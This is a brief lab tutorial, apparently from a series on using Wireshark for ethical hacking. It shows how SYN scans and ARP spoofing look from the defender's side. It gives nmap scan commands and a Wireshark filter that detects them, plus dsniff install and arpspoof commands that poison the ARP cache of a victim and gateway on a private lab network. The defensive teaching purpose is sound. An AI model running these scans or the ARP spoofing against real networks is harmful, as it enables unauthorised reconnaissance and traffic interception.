Wireshark for Ethical Hackers - 3

Wireshark for Ethical Hackers - 3

Blue Team - Defender View

nmap

Attacker IP: 192.168.1.17

Defender IP: 192.168.1.15

Case 1: Run following syn attack command on attacker machine.

nmap 192.168.1.15

filter: tcp.flags == 0x002

Case2: Run following syn attack command on attacker machine. - More slower attack.

nmap -T1 192.168.1.15

Harder to find this attack.

ARPspoof

Install dsniff on the attracter's VM.

sudo apt-get install dsniff

arpspoof

Start the exploit.

sudo arpspoof -i eth0 -t 192.168.1.15 -r 192.168.1.1

Let's go back to Wireshark on victim's VM. Duplicate IP address detected.

Reference:

How to solve error:

arpspoof: libnet_init(): UID or EUID of 0 required

https://www.edureka.co/community/37892/arpspoof-libnet-init-uid-or-euid-of-0-required